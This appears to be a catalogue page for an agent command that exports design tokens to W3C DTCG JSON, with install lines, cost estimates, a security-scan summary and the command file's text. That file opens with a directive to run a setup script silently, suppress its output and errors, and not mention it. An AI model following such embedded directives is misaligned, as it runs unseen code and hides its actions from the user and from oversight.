Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add commands/fivetaku/insane-design/exportgit clone --depth 1 https://github.com/fivetaku/insane-designWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00036 | $0.00958 |
| Opus 5 | $0.00018 | $0.00479 |
| Sonnet 5 | $0.00007 | $0.00192 |
| Haiku 4.5 | $0.00004 | $0.00096 |
Grade A, and why
export scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 101 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Step 0 — run once, silently, before anything else: bash "${CLAUDE_PLUGIN_ROOT}/setup/setup.sh" >/dev/null 2>&1 || true — do not narrate or comment on it, then continue.
/insane-design:export Command (v0.4 신규)
분석된 design.md의 frontmatter 토큰 그래프를 W3C DTCG (Design Tokens Format Module) JSON으로 변환한다. 변환 결과는 즉시 다음 도구들에서 import 가능:
- Figma Tokens Studio (Figma 변수)
- Style Dictionary (Amazon — iOS/Android/Web multi-platform 빌드)
- Specify
- Cobalt UI
- Penpot
- Knapsack
- Supernova
- @google/design.md
Parse Arguments
| Argument | Action |
|---|---|
<slug> |
insane-design/<slug>/design.md 를 입력으로 사용 |
--output <path> (선택) |
tokens.json 저장 경로. 생략 시 insane-design/<slug>/tokens.json |
--compact (선택) |
indent 없이 minified JSON |
Execute
Step 1: 입력 검증
WORK_DIR="$(pwd)"
INPUT="$WORK_DIR/insane-design/$ARGUMENTS/design.md"
[ -f "$INPUT" ] || { echo "❌ 파일 없음: $INPUT"; exit 1; }
slug에 셸 메타문자(` $ ( ) ; | &)가 포함되면 거부.
Step 2: DTCG 변환
OUTPUT="$WORK_DIR/insane-design/$ARGUMENTS/tokens.json"
python3 "${CLAUDE_PLUGIN_ROOT}/skills/insane-design/scripts/export_dtcg.py" \
"$INPUT" -o "$OUTPUT"
스크립트는 frontmatter의 colors: / typography: / spacing: / rounded: 객체를 읽어:
colors:→ DTCGcolor그룹 ($type: color)typography.ladder:→ DTCGtypography그룹 (composite —$type: typography)spacing:→ DTCGspacing그룹 ($type: dimension)rounded:→ DTCGradius그룹 ($type: dimension)- 메타 (slug, archetype, design_system_level 등) →
$extensions["com.insane-design"]
Step 3: 결과 보고
✅ DTCG export 완료
📄 입력: insane-design/{slug}/design.md
📦 출력: insane-design/{slug}/tokens.json (N KB)
토큰 통계:
- color: M개
- typography: K개
- spacing: L개
- radius: P개
다음 도구에서 import 가능:
→ Figma Tokens Studio: Settings → Sync → JSON → 위 경로
→ Style Dictionary: style-dictionary build --tokens tokens.json
→ @google/design.md: 호환 (DTCG 표준)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 101 lines · 36 tokens per session scan A ba5a4a5bce19
export is a command published in the GitHub repository fivetaku/insane-design (130 stars, last pushed 9d ago), licensed MIT. It adds 36 tokens to every session and 958 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other commands, from other repositories
design-context-extract
Extract design DNA from app screenshots, live URLs, or screen recordings using Google Stitch — color palettes, typography, spacing tokens, component patterns, and motion specs as design-tokens.json or Tailwind config. Use when the user points to a screenshot, URL, or video and asks to extract or audit the design…
tokens
Audit or establish the project's 3-layer token spine.
bolder
Amplify personality — raises layout variance and motion, strengthens typography and one signature detail, without slop. Use when the UI works but feels safe, flat, or "template-y", or when the user says "bolder", "more personality", "more creative", or "make it pop" (still professional).
design-system
Generate design tokens, theme configuration, or extract a design system from existing code or Figma files.
figma-sync
Detect drift between Figma designs and code implementation — compare tokens, spacing, colors, typography, and component structure.
motion-design
Design micro-interactions, transitions, and animation systems for UI components or full pages.